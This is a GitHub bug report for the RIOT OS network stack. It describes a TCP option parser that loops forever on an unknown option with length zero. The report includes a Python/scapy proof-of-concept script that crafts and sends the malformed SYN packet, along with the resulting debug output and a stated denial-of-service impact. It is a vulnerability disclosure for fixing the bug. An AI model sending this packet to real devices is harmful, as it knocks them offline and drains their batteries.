-
Notifications
You must be signed in to change notification settings - Fork 2.1k
Closed
Labels
Area: networkArea: NetworkingArea: NetworkingType: bugThe issue reports a bug / The PR fixes a bug (including spelling errors)The issue reports a bug / The PR fixes a bug (including spelling errors)
Description
Description
The gnrc_tcp
parser for TCP options (_option_parse
) doesn't terminate on all inputs. When sending a packet with an unknown option and option length zero it doesn't advance the option pointer (i.e. advances it by zero) and therefore stays in the loop forever.
RIOT/sys/net/gnrc/transport_layer/tcp/gnrc_tcp_option.c
Lines 63 to 68 in a9da0dc
default: | |
DEBUG("gnrc_tcp_option.c : _option_parse() : Unknown option found.\ | |
KIND=%"PRIu8", LENGTH=%"PRIu8"\n", option->kind, option->length); | |
} | |
opt_ptr += option->length; | |
opt_left -= option->length; |
Steps to reproduce the issue
- Configure the interface
tap
as followsip addr add 2001:db8::affe:1/64 dev tap0
- Enable debug in
sys/net/gnrc/transport_layer/tcp/gnrc_tcp_option.c
- Compile
tests/gnrc_tcp_server/
using:TCP_SERVER_ADDR="2001:db8::affe:2" make -C tests/gnrc_tcp_server/
- Start
tests/gnrc_tcp_server
using:make -C tests/gnrc_tcp_server term
- Invoke the following python script (requires scapy):
#!/usr/bin/env python3
import sys
import struct
from scapy.all import *
if len(sys.argv) < 3:
print("USAGE: %s ADDR PORT" % sys.argv[0], file=sys.stderr)
sys.exit(1)
addr = sys.argv[1]
port = int(sys.argv[2])
ip = IPv6(dst=addr)
tcp = TCP(dport=port, flags="S", sport=2342, seq=1, dataofs=6)
rawpkt = raw(tcp) + b"\x50\x00\x00\x00"
_, chksum = tcp.chksum, in6_chksum(socket.IPPROTO_TCP, ip[IPv6], rawpkt)
pkt = rawpkt[0:16] + struct.pack("!H", chksum) + rawpkt[18:]
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.connect((ip.dst, tcp.dport))
s.send(pkt)
For example using ./tcp-zero-option.py "2001:db8::affe:2" 80
Expected results
The application should parse the unknown option once.
Actual results
The application parses the unknown option an infinite amount of times. Example output:
…
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
…
Impact
Denial of service, possibly allowing battery drain, et cetera.
Metadata
Metadata
Assignees
Labels
Area: networkArea: NetworkingArea: NetworkingType: bugThe issue reports a bug / The PR fixes a bug (including spelling errors)The issue reports a bug / The PR fixes a bug (including spelling errors)